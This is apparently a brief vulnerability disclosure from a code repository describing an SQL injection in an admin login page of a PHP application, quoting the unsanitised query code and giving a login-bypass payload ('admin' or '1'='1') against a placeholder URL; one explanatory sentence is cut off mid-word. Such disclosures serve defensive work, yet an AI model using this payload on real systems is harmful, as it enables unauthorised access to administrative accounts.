jsjbcyber Update bug_g History

1 contributor

22 lines (20 sloc) | 751 Bytes

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/login.php
--------------------------------
affected source code:
.....
  <?php
    $id = getvar('id');
    $list = $db->getOneRow(get_sql("select * from {pre}manager where id = " . $id));
    //die($list);
    //die($result1);
  ?>
.....
--------------------------------
affected reason:

      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:

  visit url:http://xx.xx.com/admin/login.php
  use: admin' or '1'='1 as the username;  Then we can log in to the background with any password.
```